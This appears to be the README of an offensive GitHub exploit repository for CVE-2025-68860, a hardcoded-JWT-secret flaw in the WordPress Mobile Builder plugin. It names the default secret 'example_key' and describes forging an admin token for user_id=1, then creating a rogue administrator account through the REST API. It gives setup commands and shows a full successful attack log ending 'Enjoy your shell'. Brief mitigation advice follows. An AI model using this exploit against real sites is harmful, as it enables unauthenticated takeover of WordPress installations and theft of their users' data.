dedsecteam-blackhat/cve-2025-68860
The WordPress Mobile Builder plugin version 1.4.2 and below has a Broken Authentication vulnerability that allows an attacker to generate a valid JWT token with the default secret "example_key" and authenticate as admin (user_id=1). With this token, the attacker can create a new administrator account and take over the site.
CVE: CVE-2025-68860
Cause: Use of hardcoded secret key "example_key" for JWT, without adequate validation.
Vulnerability Location: In the Mobile Builder plugin, the file handling JWT authentication (e.g., class-jwt-auth.php) uses the constant JWT_SECRET with the default value 'example_key'. This secret cannot be changed through settings, so an attacker can create a token for any user_id.
Impact: An attacker can create a token for user_id=1 (admin), access REST API endpoints, and create a new user with the administrator role.
CVSS: High (score 8.8) - network vector, no user interaction required.
The script creates a JWT token with a payload containing user_id: 1 (admin) and secret "example_key".
The token is used to access /wp-json/wp/v2/users/ to verify admin access.
If successful, the script sends a POST request to /wp-json/wp/v2/users to create a new user with username dedsec1337, password admin, email [email protected], and role administrator.
Output displays the credentials and API response.
Python 3.6+
Library: requests, PyJWT, colorama
Target WordPress with Mobile Builder plugin version <= 1.4.2 active.
git clone https://github.com/username/CVE-2025-68860
cd CVE-2025-68860
pip install -r requirements.txt
╔═══════════════════════════════════════════════════════════════════╗
║ WordPress Mobile builder <= 1.4.2 Broken Authentication Exploit ║
║ CVE-2025-68860 Priority: HIGH ║
║ Dedsec Team Exploit ║
╚═══════════════════════════════════════════════════════════════════╝
Exploit by : Dedsec Team Exploit
Telegram : @DedsecTeam1337
GitHub : https://github.com/DedsecTeam-BlackHat
[INFO] CVE-2025-68860 // WordPress Mobile builder Broken Authentication
[INFO] All old exploits/settings are ignored, running this vector only.
Site URL (example: http://target.site): http://localhost/wordpress
[INFO] Generating JWT as admin (user_id=1)...
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
--------------------------------------------------------------
[INFO] Testing JWT at /wp-json/wp/v2/users/me
[SUCCESS] JWT valid! Confirmed admin access.
--------------------------------------------------------------
[INFO] Creating admin account using exploit...
[INFO] Exploiting, please wait...
[SUCCESS] ✅ Admin user created successfully!
==============[ New Admin Credentials ]==============
Username : dedsec1337
Password : admin
Email : [email protected]
===================================================
Full API response:
{
"id": 3,
"username": "dedsec1337",
"name": "dedsec1337",
"email": "[email protected]",
"roles": ["administrator"]
}
--------------------------------------------------------------
[SUCCESS] Exploit finished. Enjoy your shell.
...
An attacker can create a new administrator account, access all WordPress features, install malicious plugins, change content, steal user data, or use the site for further attacks.
This vulnerability can be exploited remotely without prior authentication.
Impact: total compromise of the WordPress site.
Immediately update the Mobile Builder plugin to the latest version (>=1.4.3).
If no update is available, temporarily disable the plugin.
Check for any suspicious users on your site.
Use a web application firewall (WAF) to block suspicious requests to REST API endpoints.
As a temporary measure, change the secret key in the plugin code (if possible) and restrict access to the REST API.